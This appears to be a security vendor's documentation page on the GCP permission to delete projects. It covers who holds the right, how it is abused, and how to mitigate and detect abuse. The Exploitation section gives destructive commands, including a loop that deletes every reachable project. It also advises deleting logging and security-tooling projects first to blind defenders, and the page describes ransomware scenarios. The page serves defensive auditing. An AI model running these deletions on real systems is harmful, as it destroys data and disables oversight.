> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/gcp/gcp_delete_project.md).

# GCP\_DELETE\_PROJECT

## Summary

|                            |                                                       |
| -------------------------- | ----------------------------------------------------- |
| **Forestall ACL Alias**    | GCP\_DELETE\_PROJECT                                  |
| **GCP Alias**              | Guardrail Bypass & Destruction                        |
| **Affected Object Types**  | Projects                                              |
| **Exploitation Certainty** | Certain                                               |
| **Granting Roles**         | `roles/owner`, `roles/resourcemanager.projectDeleter` |

## Description

`GCP_DELETE_PROJECT` indicates that an identity can call `resourcemanager.projects.delete` on a GCP **Project**. Deleting a project initiates a 30-day soft-delete period after which all resources — VMs, databases, storage buckets, service accounts, and their data — are permanently destroyed.

This edge represents an **availability and ransomware** attack surface. An attacker who cannot exfiltrate data (due to VPC-SC or encryption) can instead destroy the data by deleting projects. In multi-tenant or multi-project environments, an attacker with org-level project deletion rights can initiate mass deletion across the entire organization.

**Key abuse scenarios:**

* Delete production projects to cause service outages and business disruption.
* Cloud ransomware: delete projects and demand payment before the 30-day recovery window expires.
* Delete logging and security-tooling projects to blind defenders before a larger attack.
* Delete projects containing forensic evidence to hinder incident response.

## Identification

### gcloud CLI

```bash
# Find who has project deleter role at org or project level
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud organizations get-iam-policy $ORG_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|projectDeleter")) | {role: .role, members: .members}'

# Check at project level
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|projectDeleter")) | {role: .role, members: .members}'

# List recently deleted projects (within 30-day recovery window)
gcloud projects list --filter="lifecycleState:DELETE_REQUESTED" \
  --format="table(projectId, name, lifecycleState)"
```

### GCP Console

1. Open **GCP Console** → **IAM & Admin** → **IAM** at the org level.
2. Look for principals with `Owner` or `Project Deleter` roles.
3. Use **Resource Manager** to check for projects in `DELETE_REQUESTED` state.

## Exploitation

With `resourcemanager.projects.delete`, an attacker can immediately disable all billable services in a project and initiate a 30-day soft-delete countdown after which all data is permanently destroyed.

### gcloud CLI

```bash
# Delete a single project (services stop immediately, 30-day soft-delete begins)
gcloud projects delete target-project-id
```

```bash
# Mass deletion: delete all projects the identity has rights on
for PROJECT in $(gcloud projects list --format="value(projectId)"); do
  gcloud projects delete $PROJECT --quiet
done
```

```bash
# Recovery within the 30-day window (requires resourcemanager.projects.undelete)
gcloud projects undelete target-project-id
```

> **Note:** Prioritize deleting logging and security-tooling projects first to blind defenders before targeting production. After the 30-day recovery window, data is permanently destroyed and Google Support cannot guarantee restoration.

## Mitigation

1. **Restrict `roles/resourcemanager.projectDeleter`** — this role should not exist as a standing assignment; use PIM for just-in-time access if project deletion is ever needed.
2. **Remove `roles/owner` from human users** at org and folder scope to limit blast radius.
3. **Enable `constraints/resourcemanager.restrictProjectDeletion`** org policy to require elevated justification for project deletion.
4. **Set up Pub/Sub notifications** for project lifecycle events to detect deletion attempts in real-time.
5. **Maintain offsite backups** (GCS cross-region replication, BigQuery dataset snapshots) independent of the project being backed up.

## Detection

| Log Type       | Method          | Key Fields                                          |
| -------------- | --------------- | --------------------------------------------------- |
| Admin Activity | `DeleteProject` | `resource.type=project`, `methodName=DeleteProject` |

```bash
gcloud logging read \
  'protoPayload.methodName="DeleteProject"' \
  --organization=$ORG_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, resource.labels.project_id)"
```

Alert on:

* Any `DeleteProject` call — project deletions should be rare and require change management approval.
* Multiple project deletions within a short time window (mass deletion pattern).
* Project deletions outside of business hours or from unexpected IP addresses.

## References

* <https://cloud.google.com/resource-manager/docs/creating-managing-projects#shutting\\_down\\_projects>
* <https://cloud.google.com/resource-manager/docs/access-control-proj>